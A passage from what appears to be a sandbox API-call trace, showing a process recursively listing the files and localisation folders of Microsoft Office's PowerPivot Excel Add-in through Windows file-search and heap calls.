ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16461eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHT.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0280.983] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x164159c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16461eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4eb30, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerViewRes.zh-CHT.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0280.983] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0280.985] GetProcessHeap () returned 0xaf0000 [0280.985] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.985] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0 [0280.985] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0280.985] GetProcessHeap () returned 0xaf0000 [0280.985] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0280.986] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0280.986] GetProcessHeap () returned 0xaf0000 [0280.986] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0280.987] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0280.988] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.988] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0280.988] GetProcessHeap () returned 0xaf0000 [0280.988] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.988] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.990] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.990] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x163ef7bf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0280.990] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a13a8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0280.990] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a0a7fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a0a7fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a30a43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x39aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0280.990] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a77594, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a77594, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a77594, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x688d06d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x688d06d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20d030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1698075, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1698075, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5ad77c9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5ad77c9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6223b13, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6223b13, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd422, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfbd422, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0280.991] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0280.992] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc3e44f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc3e44f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc3e44f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x73ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0280.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf483611a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf483611a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4a25fae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18d43c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18d43c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18d43c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0280.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x54ef2e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x54ef2e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x54ef2e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0280.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0280.993] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6d9e0b3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6d9e0b3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d9e0b3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0280.993] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0280.994] GetProcessHeap () returned 0xaf0000 [0280.994] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0280.994] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0280.995] GetProcessHeap () returned 0xaf0000 [0280.995] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0280.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0280.996] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0280.996] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x165b9401, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1639, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0280.996] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d76e38, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd09866, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd09866, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6781ff8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6781ff8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9c75fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9c75fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa13ab7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20d030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44563cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44563cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2fa0ca2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2fa0ca2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2fed144, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0280.997] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45d3b76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0280.998] FindNextFileW (in: 